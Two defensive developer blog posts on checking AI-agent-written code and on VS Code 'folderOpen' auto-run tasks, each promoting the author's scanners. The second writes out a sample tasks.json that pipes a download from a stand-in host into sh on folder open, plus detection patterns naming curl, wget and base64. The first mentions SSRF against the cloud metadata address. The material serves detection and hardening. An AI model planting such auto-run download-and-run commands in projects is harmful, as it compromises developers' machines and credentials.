Before you run the code your AI agent wrote, check these five things

Isaac Bell — Fri, 09 Oct 2026 12:43:00 +0000

Coding agents are good enough that it's tempting to accept the diff, run npm install, and start the dev server. Most of the time that's fine. The problem is the time it isn't, because an agent has your permissions and reads text you never saw.

These are the five places I look before running anything an agent produced.

1. Dependencies you didn't ask for

Assistants sometimes suggest package names that don't exist, or that are one letter off a real one. Attackers register those names. For every new entry in package.json or requirements.txt, check that it's the package you meant and that it has a real history.

Advisory scanners (npm audit, OSV-Scanner) are still worth running, but they only know about reported problems. A brand-new malicious package has no advisory yet.

2. Setup commands copied from somewhere

curl ... | sh, a new postinstall script, an editor task. An agent that browses can repeat whatever an untrusted page told it to run. Read every script entry the agent added or changed.

3. Config that runs programs

Agent hooks, MCP server definitions, .claude/settings.json, .mcp.json, .vscode/tasks.json, *.config.js. All of these start processes, and none of them look like "code" in a diff review.

4. Insecure model-calling code

Hardcoded API keys. Model output passed to exec or eval. User input concatenated into a system prompt. No max_tokens. Agents write this code readily because it's all over their training data.

5. Server code that fetches URLs

If the agent wrote a link preview, a webhook, or an "import from URL" feature, check whether it validates where the URL points. Otherwise someone can aim your server at 169.254.169.254 and read your cloud credentials. That's SSRF.

Automating the first pass

I maintain two open-source tools for this. Both run with npx and need no account.

am-i-hacked reads the project for signs of malicious code: auto-run editor tasks, install scripts that download or decode things, obfuscated payloads, executables disguised as assets, capture code paired with an exfiltration endpoint, and the project's own AI-tool config.

npx am-i-hacked

Put it in front of your dev server so it runs every time:

{ "scripts": { "dev": "am-i-hacked && next dev" }

secure-semgrep runs Semgrep with bundled rules for AI-agent code: hardcoded provider keys, model output to exec, user input in system prompts, MCP command injection and tool poisoning, risky agent hooks, prompt injection in SKILL.md files. It also adds Semgrep's own security packs for your stack. It needs semgrep installed.

npx secure-semgrep -L ts -L node .
npx secure-semgrep -L ssrf .   # opt-in SSRF rules

Both exit 1 on findings, so they drop into CI.

What they don't do

Neither tool knows what you asked the agent to do. A scan finds known patterns; it doesn't prove the code is correct or safe. Neither scans installed node_modules. Neither is antivirus. They're a first pass that tells you where to look, and reading the diff is still the check that matters.

The full guide, including a table of what the AI rules cover, is here: Is AI-generated code safe to run? How to check it first.

Everything is MIT licensed: github.com/IsaacBell/secure-devtools.

This repo runs a command when you open it

Isaac Bell — Wed, 07 Oct 2026 07:26:44 +0000

Most of us treat opening a folder in an editor as the safe step. You clone it, you open it, you read it, and only then do you decide whether to npm install.

VS Code, and editors built on it such as Cursor, can run a shell command as soon as a folder opens. All it takes is one file in the repository.

The trick

// .vscode/tasks.json
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "setup",
      "type": "shell",
      "command": "curl -fsSL https://example.test/setup.sh | sh",
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

"runOn": "folderOpen" asks the editor to run the task when the workspace opens. If automatic tasks are allowed, the download runs before you have read a line of code.

Real examples hide it better than this. The command is pushed far off-screen with whitespace, or the task runs an innocent-looking node scripts/setup.js that does the work, or the payload is saved as a .woff2 font so nobody opens it. The repository usually arrives as a take-home coding test, a "can you fix this bug" message, or a template.

What to look for

.vscode/tasks.json containing "runOn": "folderOpen"
.vscode/settings.json turning automatic tasks on (task.allowAutomaticTasks), or pointing a setting at an executable inside the repo
curl, wget, powershell, base64 or | sh anywhere in editor config
a file whose name doesn't match its contents: a "font" that's really a script
Read .vscode/ with cat or less before you open the folder in an editor.

Hardening the editor
Open suspicious folders in Restricted Mode. Tasks don't run there.

Set "task.allowAutomaticTasks": "off" in your user settings, so no repository can turn automatic tasks back on.

If you've already opened the editor (or the file)
Assume the command ran. Check the machine for anything it left behind: login items, shell startup changes, running processes.

For an instant system scan, you can run: npx am-i-hacked --system.

Then rotate credentials from a different, clean device.

Check it with one command

I maintain an open-source scanner, am-i-hacked, that reads a project for this kind of thing without running anything in it.

npmjs.com

Here's the real output against a folder containing the task above:

$ npx am-i-hacked path/to/repo
am-i-hacked: FAILED — 2 findings across 1 file
  .vscode/tasks.json:7
    "command": "curl -fsSL https://example.test/setup.sh | sh",
    → Download-and-run command in editor config
  .vscode/tasks.json:8
    "runOptions": { "runOn": "folderOpen" }
    → Editor auto-run task

This also works as a gate in a script or in CI. Plain bash, read-only, makes no network calls and needs no account. The tool requires bash 4.2+, ripgrep and jq.

DEV Community: Isaac Bell